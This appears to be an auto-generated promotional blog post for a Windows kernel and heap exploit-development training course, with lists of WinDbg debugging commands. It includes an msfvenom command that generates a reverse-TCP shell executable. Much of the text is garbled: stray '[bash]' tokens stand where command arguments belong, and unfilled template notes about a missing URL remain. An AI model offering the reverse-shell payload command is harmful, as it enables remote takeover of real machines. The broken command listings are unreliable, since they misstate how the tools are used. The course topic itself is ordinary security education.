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The Windows Exploit Development 2 training, scheduled for June 7, 2025, is a 40-hour deep dive into advanced Windows exploitation techniques. This course builds on Windows Exploit Development 1, focusing on kernel-level vulnerabilities, heap spraying, and Use-After-Free (UAF) exploits using WinDbg, the industry-standard debugger for Windows.
Key Topics Covered:
✔ WinDbg Fundamentals – Essential commands for exploit analysis.
✔ Windows Memory Management (Win7+) – Deep dive into kernel structures.
✔ Heap Spraying Techniques – Weaponizing heap manipulation for exploitation.
✔ Use-After-Free (UAF) Exploits – Exploiting dangling pointers.
✔ Kernel Driver Exploitation – Writing shellcode for kernel payloads.
✔ Windows Security Mechanisms – Bypassing mitigations like SMEP and KASLR.
Additional Info:
🔗 Blackstorm Security Website (Replace with actual URL if available)
You Should Know: Essential WinDbg Commands for Exploit Development
1. Basic WinDbg Commands
!analyze -v Analyze crash dumps !peb Display Process Environment Block !teb Display Thread Environment Block dt nt!_EPROCESS Display kernel process structure
2. Heap Analysis
!heap -s Show heap segments !heap -p -a [bash] Inspect heap allocation !heap -flt s [bash] Filter heap blocks by size
3. Kernel Debugging
!process 0 0 List all processes !drvobj [bash] Inspect kernel driver objects !vprot [bash] Check memory protections
4. Exploiting Use-After-Free (UAF)
g Continue execution bp [bash] Set breakpoint at target r Show registers !pool [bash] Inspect pool memory
5. Shellcode Execution in Kernel
ed [bash] [bash] Write shellcode to memory u [bash] L[bash] Disassemble memory
What Undercode Say
Windows exploit development demands mastery of WinDbg, kernel structures, and memory corruption techniques. Key takeaways:
– Heap Spraying is critical for bypassing ASLR.
– UAF Exploits rely on controlling freed memory.
– Kernel Payloads must bypass SMEP (Supervisor Mode Execution Prevention).
Essential Linux/Win Commands for Exploit Devs:
msfvenom -p windows/x64/shell_reverse_tcp LHOST=eth0 LPORT=443 -f exe > exploit.exe Generate shellcode objdump -D binary | grep "call" Find function calls in binaries checksec --file=target.exe Check binary protections (PIE, NX, Canary)
Expected Output:
A structured 40-hour training covering WinDbg, kernel exploits, and heap manipulation, with hands-on labs for real-world exploitation.
(Note: Replace Blackstorm Security URL if a valid one is available.)
References:
Reported By: Aleborges Assembly – Hackers Feeds
Extra Hub: Undercode MoN
Basic Verification: Pass ✅
